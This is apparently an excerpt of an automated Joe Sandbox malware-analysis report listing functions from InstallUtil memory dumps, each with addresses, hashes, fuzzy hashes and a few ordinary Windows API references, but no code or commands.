Opcode ID: 0a4a5361947f7384322af3d07735e90c0ff528df26b0751cb4d15db43497e9bb
Instruction ID: 1994b9f50cb4d59fdea57f2d9d40bd8ce8676d56d7eed15d8676ff0e04534146
Opcode Fuzzy Hash: 0a4a5361947f7384322af3d07735e90c0ff528df26b0751cb4d15db43497e9bb
Instruction Fuzzy Hash: DE629134B002158FDB54EBAAD4D0BAEB7F2FB89310F15446AD806EB395CE359C41CBA5

Function 01485694 Relevance: .7, Instructions: 686COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1859602038.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Offset: 01480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f95c7769692fc4e789151f2ebf2cc9e759c5855ee104d31bb4478f7a4856e529
Instruction ID: ff01dfa81ba7f43ab7428dcc1ef38bc18b191f01bec9867bd7696d422f13d8ad
Opcode Fuzzy Hash: f95c7769692fc4e789151f2ebf2cc9e759c5855ee104d31bb4478f7a4856e529
Instruction Fuzzy Hash: 30327A70984B5A8FC7A49F94D8885A9B7F1FB5133171882AFC444DA626D3BD98D3CB80

Function 0648A989 Relevance: .6, Instructions: 633COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1870968503.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90e0c4815e82a4a214e0f6fc0e3583c6a7d2bf077ac798f40443caf0ce89df3d
Instruction ID: 6023b51f444fbde1c32123c00f5d2e89883f91ac1bcab7687af21ad8c58ebb2c
Opcode Fuzzy Hash: 90e0c4815e82a4a214e0f6fc0e3583c6a7d2bf077ac798f40443caf0ce89df3d
Instruction Fuzzy Hash: FC327E30E002098FEB65EB69D494BAEB7F2FB49310F64846BE805DB395DA74DC81CB51

Function 064D4E61 Relevance: .4, Instructions: 447COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1871536864.00000000064D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_64d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cc844e5fef708885dff8de6e02bcce49b89a1704bca9881ad63e913dfe8ab38
Instruction ID: 77a57a618bad025c27470f2808a9c77c8cf11d1518011e69a3b2269e77aa9ec9
Opcode Fuzzy Hash: 1cc844e5fef708885dff8de6e02bcce49b89a1704bca9881ad63e913dfe8ab38
Instruction Fuzzy Hash: 71F18C34F102058FDB59DBA9D5A4AAE7BF2BF89314F24446AE406DB3A5CE34DC41CB90

Function 0648A358 Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1870968503.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9d208dc9112b65b517b40ec597165a9cbf3d4d732fa77af1a8270d57ad09f5c
Instruction ID: 65c0215eb3abebb8d2b64645b65f628e553fff7af3c733d96fed93e2558907f1
Opcode Fuzzy Hash: f9d208dc9112b65b517b40ec597165a9cbf3d4d732fa77af1a8270d57ad09f5c
Instruction Fuzzy Hash: 9CF1BD34F002198FDB59EB69D4906AEB7F2BF89210F21456BD406EB395DF709C82CB90

Function 064D5268 Relevance: .4, Instructions: 356COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1871536864.00000000064D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_64d0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b815fa64c7073c7409138970b010e72fc09a358391ff160bc40a8bc97e36f1f4
Instruction ID: 40401114aa66f857c9adf5da1e1d90a6da47ccf41bfe5da374fea65a5ed19fd1
Opcode Fuzzy Hash: b815fa64c7073c7409138970b010e72fc09a358391ff160bc40a8bc97e36f1f4
Instruction Fuzzy Hash: 55D1AC30F002058FEB59DF69D4907AEB7A2FB85310F2485ABD809DB395DB74D885CB92

Function 0148ADD0 Relevance: .3, Instructions: 348COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1859602038.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Offset: 01480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9683bfe5fc40db7f8803a20ac628f506ccd5d167d20ad745f86830ad77c59864
Instruction ID: 926b1ab86d20b20fd083f2fb08be40b378a7795cc2544c40bf884f3c9d231acc
Opcode Fuzzy Hash: 9683bfe5fc40db7f8803a20ac628f506ccd5d167d20ad745f86830ad77c59864
Instruction Fuzzy Hash: 36D19C30904205CFD710EF59C0847AEB7F3EB45321F6586ABE9059B2A5D7B9AC87CB90

Function 06488138 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1870968503.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94fb1b6fc4c026efdc514ccad3e83fa6ac94429b16c9065aa5636bda94791bf4
Instruction ID: 1e84f5af0a0ef460b16255e33261a3d6deea6ba60c4e349ede9e26ae33ccb988
Opcode Fuzzy Hash: 94fb1b6fc4c026efdc514ccad3e83fa6ac94429b16c9065aa5636bda94791bf4
Instruction Fuzzy Hash: 58D12274A002198FDB54EF69D890BEEB7F2BF89310F5045EAD809AB395DA309D81CF51

Function 06486D78 Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1870968503.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec820762728bda2fe7ce9e51ba9814053fbd1ddcf89a9f50144ddac063ade140
Instruction ID: a9a0eb664e5479dcbb4ca29846c6f7d53bbfe374e04806e35584846c3aeed81b
Opcode Fuzzy Hash: ec820762728bda2fe7ce9e51ba9814053fbd1ddcf89a9f50144ddac063ade140
Instruction Fuzzy Hash: FFA1AE34B002158FDB99EB6AD4A06BE77E3BF88210F25446AD806DB795DE31DC42CB90

Function 01485AF8 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1859602038.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Offset: 01480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2fef8dda1ba9695ee3a4ea534bb00cc671f5f47e3838b886d50877579de75ae
Instruction ID: 7efe0f6864f177fb9d3510b5cffbcc9243afb7fd1afb98557cbf7ed595c2a861
Opcode Fuzzy Hash: f2fef8dda1ba9695ee3a4ea534bb00cc671f5f47e3838b886d50877579de75ae
Instruction Fuzzy Hash: 4EB18E71E101298BDB15DFA8C9806AEF7F2FB48301F58866AD455EB252D334ED52CB90

Function 0148CDD0 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1859602038.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Offset: 01480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82d4e091a63675faa489ebd3efbe1649b6457d26fe30a41e639c4827ee1a5eab
Instruction ID: 1b98654b686b9870ef586b1acdb0fe4668037b2dc86ad136643774161a19ff53
Opcode Fuzzy Hash: 82d4e091a63675faa489ebd3efbe1649b6457d26fe30a41e639c4827ee1a5eab
Instruction Fuzzy Hash: 85B18F70A04208CFDB25EBA9C4847EEB7B2FF89314F14816AD405AB3E5C7759886CB61

Function 0148A1C8 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1859602038.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Offset: 01480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bad42440005b7014c99d075211b3c665ec9750212a5444167e057fe4679675de
Instruction ID: e1f0f9ee17d445adb4507acc5ea34d05809c57666fca67f9e4bd0459db69dff8
Opcode Fuzzy Hash: bad42440005b7014c99d075211b3c665ec9750212a5444167e057fe4679675de
Instruction Fuzzy Hash: 27B14070E002198FDF10DFADD8857AEBBF1BF48714F24852AD415A73A4EBB59885CB81

Function 0148ADC1 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1859602038.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Offset: 01480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fae2a75205de069df78861e661472715b704c74ed94d45f4ca807e73286bddc6
Instruction ID: da6058cba922f4413a4c450bba080bfb653d91b214b924e398f431d68027d236
Opcode Fuzzy Hash: fae2a75205de069df78861e661472715b704c74ed94d45f4ca807e73286bddc6
Instruction Fuzzy Hash: 88A18D30A042158FD714EF1AC094BAFB7F3EB44311F6586A7E9059B2A5D7B4AC87CB90

Function 0148FBD0 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1859602038.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Offset: 01480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0505e33b64c3c7adb9f99b328d8e5f98c447f3af160b588660003eb513a8614b
Instruction ID: 694d4b460d702748b486518d4bcfaf52126968db906bddeb7f936f0f60c46a83
Opcode Fuzzy Hash: 0505e33b64c3c7adb9f99b328d8e5f98c447f3af160b588660003eb513a8614b
Instruction Fuzzy Hash: E0A17034B002058FDB58EB6DC4A06AEBBF3BF89300F14456AD90ADB395DE319C468B91

Function 06481C50 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1870968503.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac72181bd15db637b1c3bceee3658d6a096974b91f3350bf06cc22e0af67ebb8
Instruction ID: 13e1fec26f513a19704b1aeb64f7afe7ae9d944b64abaf97e308c090b47ed0c7
Opcode Fuzzy Hash: ac72181bd15db637b1c3bceee3658d6a096974b91f3350bf06cc22e0af67ebb8
Instruction Fuzzy Hash: EDA11431A0420A8FFBA1EB49C4C4BEEB7A2AB84304F248577D1154B74AD375A987DBD1

Function 014895B0 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1859602038.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Offset: 01480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09be3031e38d70a37c87996f508f468b69fc2ec67b8eea41a6c12ef7b007eccf
Instruction ID: e6022be8f2155816d83e89b9fcf974859790cc2326b5efdb76e6ba3059e0cc1d
Opcode Fuzzy Hash: 09be3031e38d70a37c87996f508f468b69fc2ec67b8eea41a6c12ef7b007eccf
Instruction Fuzzy Hash: 63915270E10609DFDF14EFA9C9847AEBBF2BF88718F14812AD405A73A4DB749845CB81

Function 0648812A Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1870968503.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c09cd89254babf54b6c237fc80e46fbd2e5e0f8d5ed03a5315fe3ec10a64c2f2
Instruction ID: 6e61f6d4c0d1d46b1ac135b1dab7e2958eb63da26a30de8ae1c1d36bafe688da
Opcode Fuzzy Hash: c09cd89254babf54b6c237fc80e46fbd2e5e0f8d5ed03a5315fe3ec10a64c2f2
Instruction Fuzzy Hash: 4DA12C74A002198FDB54EF69D890BEEB7F2BF48310F5041EAC809AB395DA309D81CF91

Function 0648F7F0 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1870968503.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f2e64b5f95a7fb15358e3fe6d9a8d794c4466ea239cc5178fcd605e309f5044
Instruction ID: 2f113f0f27e4227a1d954410e861582db2dc8fcb7e05a4dc89721778ab931a06
Opcode Fuzzy Hash: 8f2e64b5f95a7fb15358e3fe6d9a8d794c4466ea239cc5178fcd605e309f5044
Instruction Fuzzy Hash: 23814F30B001199FDB95EBAAC590AAEB7F6FF88310F64846AD415EB355DB30EC46CB50

Function 0148CE70 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1859602038.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Offset: 01480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11c0c0b74a48c6cbe26ba4f14ffeb965b0dc505e5407bfaadff77e3690d09f3e
Instruction ID: 3048384a8238b30d4266564b0de7af9b2f81301912b9053001a6cad47dae295d
Opcode Fuzzy Hash: 11c0c0b74a48c6cbe26ba4f14ffeb965b0dc505e5407bfaadff77e3690d09f3e
Instruction Fuzzy Hash: 7E914C70A00208CFEB25EBA9D8847EEB7B2FF89314F148166D5056B2E5C7759887CB61

Function 0648F800 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1870968503.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7ea71e6281d33e91409a8c8952579ae5cfdd3f6fd9f288b91a02939eea0757a
Instruction ID: 76e4adcc265f453334719cb8a4b1eee8138d452df7786ce26439a168c72ae4d3
Opcode Fuzzy Hash: d7ea71e6281d33e91409a8c8952579ae5cfdd3f6fd9f288b91a02939eea0757a
Instruction Fuzzy Hash: 66814D30B001199FDB94EBAAC590AAEB7F6FF88310F54846AD415EB355DB30EC46CB50

Function 0148A9E0 Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1859602038.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Offset: 01480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a55e9699ac93f607cceb5ef684421c7208aa1284f421c7c55f7459ca0a3a4e73
Instruction ID: 74d9904166ea1384a6533f17582c0fc53c4819d892a3370b89c3095ad3ff59db
Opcode Fuzzy Hash: a55e9699ac93f607cceb5ef684421c7208aa1284f421c7c55f7459ca0a3a4e73
Instruction Fuzzy Hash: 0A917134A00205CFD714FB2AD694BAEB3F3FB85314F2481ABC1059B7A5DBB55886CB51

Function 0148D0ED Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1859602038.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Offset: 01480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5511e21bbb8c25c760a74df85728aedc50ccfc827c0c9f22b75dd390090a499f
Instruction ID: 20d4134aa373691cfccaf8b5c463097d439ed54ecff352377a0fdab56e7b386e
Opcode Fuzzy Hash: 5511e21bbb8c25c760a74df85728aedc50ccfc827c0c9f22b75dd390090a499f
Instruction Fuzzy Hash: 77914C70A04208CFEB25EFA9D8847EEB7B2FB85314F148166D4056B2E5C7759887CB61

Function 0148A9F0 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1859602038.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Offset: 01480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb44bb3f866e76fe995e7782ecc9f30c62fa7d1a9e6631410942a99721532932
Instruction ID: dee3a82761129ddacd713c8e0df2351a47f60f4f5ce860864a6c925474caaa74
Opcode Fuzzy Hash: bb44bb3f866e76fe995e7782ecc9f30c62fa7d1a9e6631410942a99721532932
Instruction Fuzzy Hash: 94816134A00205CFD714EB2AD6947AEB3F3FB85314F2481BBC1055B7A5DBB59886CB51

Function 01486DC3 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1859602038.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Offset: 01480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5644ff1b3e6c6addd6ae1317e77a047a6351889a5394a463cddcce359fd277a7
Instruction ID: 5364a5d7b4217aced167de281215188af2a61edd11da16e44be3b7143bc77fba
Opcode Fuzzy Hash: 5644ff1b3e6c6addd6ae1317e77a047a6351889a5394a463cddcce359fd277a7
Instruction Fuzzy Hash: 2A61B334A04205CFD794EF29D5947AE77F3FB89314F29407AD6069B3A9C7319882CB11

Function 01486DD0 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1859602038.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Offset: 01480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96db67581d3fcf7364993bd7bc74f4f5767693fba9106552a627f70df198f618
Instruction ID: d14b0ac6a519ebb226e2f7de644891ae26baf25123d663f4952872f44f1139b1
Opcode Fuzzy Hash: 96db67581d3fcf7364993bd7bc74f4f5767693fba9106552a627f70df198f618
Instruction Fuzzy Hash: 5A61A434A04205CFD794EF2AD5947AE73F3FB48315F69407AD6069B3A9C7319882CB51

Function 01486601 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1859602038.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Offset: 01480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c4e6a190c12b9a58aef459c73d0045570721efeb625d5f9afd874c77f814820
Instruction ID: 4365b62113031710ac9542778096addccc614432e06a4f44440b132c2b340a27
Opcode Fuzzy Hash: 2c4e6a190c12b9a58aef459c73d0045570721efeb625d5f9afd874c77f814820
Instruction Fuzzy Hash: C1519434600245CFE754FB1ED154BAEB7B3FB94308F1A827AC5096B2B5D7759882CB40

Function 01486610 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.1859602038.0000000001480000.00000040.00000800.00020000.00000000.sdmp, Offset: 01480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1480000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2da61e1177702c2f1d03c3a214eaefd0ddf176c809ae18e5096958631c911cf
Instruction ID: 723e432b0dd6c9f10ba04802ddede965cd5292aeadc10d9f9ad11229944f0510
Opcode Fuzzy Hash: e2da61e1177702c2f1d03c3a214eaefd0ddf176c809ae18e5096958631c911cf
Instruction Fuzzy Hash: 3E519330600245CFE794FB1ED594BAEB7B3FB94308F1A827AC5096B2B4D7759882CB50

Function 0649688A Relevance: 6.1, APIs: 4, Instructions: 130
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0649690E
GetCurrentThread.KERNEL32 ref: 0649694B
GetCurrentProcess.KERNEL32 ref: 06496988
GetCurrentThreadId.KERNEL32 ref: 064969E1

Memory Dump Source

Source File: 0000000B.00000002.1871124668.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6490000_InstallUtil.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 6e50e14b595187acb0a0cb9bdd3863647aed6511a59d46f2161a567e5889a482
Instruction ID: dbf8a6ea8184c350303b59a124a6b3785341fe0798af2a3b1936719f57901f90
Opcode Fuzzy Hash: 6e50e14b595187acb0a0cb9bdd3863647aed6511a59d46f2161a567e5889a482
Instruction Fuzzy Hash: 985156B0901249CFEB94CFAAD948BEEBBF1EF48304F20845AD049AB360D7755984CF65

Function 06496890 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0649690E
GetCurrentThread.KERNEL32 ref: 0649694B
GetCurrentProcess.KERNEL32 ref: 06496988
GetCurrentThreadId.KERNEL32 ref: 064969E1

Memory Dump Source

Source File: 0000000B.00000002.1871124668.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6490000_InstallUtil.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 5b714315e1423a2338e996b9adbd3739e480347eafe40620b55755b3ff9448a3
Instruction ID: 826e684bb73e7dd640f229620b5789c4cf648d7ba88a9648fa7b5c83990c90ad
Opcode Fuzzy Hash: 5b714315e1423a2338e996b9adbd3739e480347eafe40620b55755b3ff9448a3
Instruction Fuzzy Hash: 425136B0901249CFEB94CFAAD948BDEBBF1EF48304F20846AD049AB360D7755984CF65

Function 0649EF10 Relevance: 1.7, APIs: 1, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0649F176

Memory Dump Source

Source File: 0000000B.00000002.1871124668.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6490000_InstallUtil.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: e9472a69ecd7fe968532ef4886c273ef0b1a13469b6d75257b14e4035169abaa
Instruction ID: a8a03006d76783a7779643cc014f34452d121902da9125a9a4a5ba01fcf715a0
Opcode Fuzzy Hash: e9472a69ecd7fe968532ef4886c273ef0b1a13469b6d75257b14e4035169abaa
Instruction Fuzzy Hash: 83815770A00B059FDBA5DF2AD44475BBBF5BF88204F00892ED49ADBB50D775E849CBA0

Function 06492459 Relevance: 1.6, APIs: 1, Instructions: 140
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.1871124668.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6490000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55998fa2b9be0a3e3a463f3ddf6d037e7411e3a51d8623f747c6158576924526
Instruction ID: 2f22dda3dba5088a027ccd7c7332a0d395d1c60beaa7d11a1a7a6209c46ac74e
Opcode Fuzzy Hash: 55998fa2b9be0a3e3a463f3ddf6d037e7411e3a51d8623f747c6158576924526
Instruction Fuzzy Hash: 9E411171E043959FDB05CF69D8007EEBFB0AF8A210F1585ABD444E7281DB789985CBA0

Function 06496AD0 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 06496B5F

Memory Dump Source

Source File: 0000000B.00000002.1871124668.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6490000_InstallUtil.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 099a2ef9c8e543c0623006bd141ba9b02bdb26d7bc43e68e814d4c795e28cb34
Instruction ID: 60561d5121977e70ad113a3fddf8e3b3a5b8e4b2d7bbe99d457a228e769ca796
Opcode Fuzzy Hash: 099a2ef9c8e543c0623006bd141ba9b02bdb26d7bc43e68e814d4c795e28cb34
Instruction Fuzzy Hash: CE21F4B5D002489FDB10CFAAD884ADEFBF4EB48320F14805AE919A7350D375A940CFA5

Function 06496AD8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 06496B5F

Memory Dump Source

Source File: 0000000B.00000002.1871124668.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6490000_InstallUtil.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: b9049ea21c1b47973c3fc99b84a1fd90138ea25cab14eacc2102ae4a68f56178
Instruction ID: a86cd0731da82b8974c1c75ae1689bad105e4bd1c41b60d00917cb452704f513
Opcode Fuzzy Hash: b9049ea21c1b47973c3fc99b84a1fd90138ea25cab14eacc2102ae4a68f56178
Instruction Fuzzy Hash: 1821C4B5D002589FDB10CFAAD884ADEFBF4EB48310F14841AE958A7750D375A944CFA5

Function 06492540 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 064925A7

Memory Dump Source

Source File: 0000000B.00000002.1871124668.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6490000_InstallUtil.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 90cec9563e50ecf5e8a17499a3230cd8f1c2b4123980a7c37d77ed28b25393ab
Instruction ID: 69a3629465adda0e5b315946da2c1e7ab453605c5faaceac27430b7a8c5ac5b5
Opcode Fuzzy Hash: 90cec9563e50ecf5e8a17499a3230cd8f1c2b4123980a7c37d77ed28b25393ab
Instruction Fuzzy Hash: 5711D3B1C116599FDB10DF9AC444B9EFBF4AF48320F15816AE818B7640D3B8A984CFA5

Function 0649F110 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0649F176

Memory Dump Source

Source File: 0000000B.00000002.1871124668.0000000006490000.00000040.00000800.00020000.00000000.sdmp, Offset: 06490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6490000_InstallUtil.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 8f9325476efd92a8d0dd3ca008023053eb3b87972bbfc4eff6fda7496ac3d79c
Instruction ID: 43f51a4b7187bf1023e8a8f272d3c1996196e01c5ee224386705e6b0f69921ed
Opcode Fuzzy Hash: 8f9325476efd92a8d0dd3ca008023053eb3b87972bbfc4eff6fda7496ac3d79c
Instruction Fuzzy Hash: A5110FB6C002498FDB10CF9AC844BDEFBF4AB89320F10842AD429B7710C375A549CFA1

Function 06482BE2 Relevance: 1.5, Strings: 1, Instructions: 267
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06482CD0

Memory Dump Source

Source File: 0000000B.00000002.1870968503.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6480000_InstallUtil.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: c0c4b5b577a54af1580f33c650a219a37ae206c11352b2dc23835d6372e60911
Instruction ID: 86e70db435da3ff1882bf90be000a1663300614076eab45a39421ca657e5045b
Opcode Fuzzy Hash: c0c4b5b577a54af1580f33c650a219a37ae206c11352b2dc23835d6372e60911
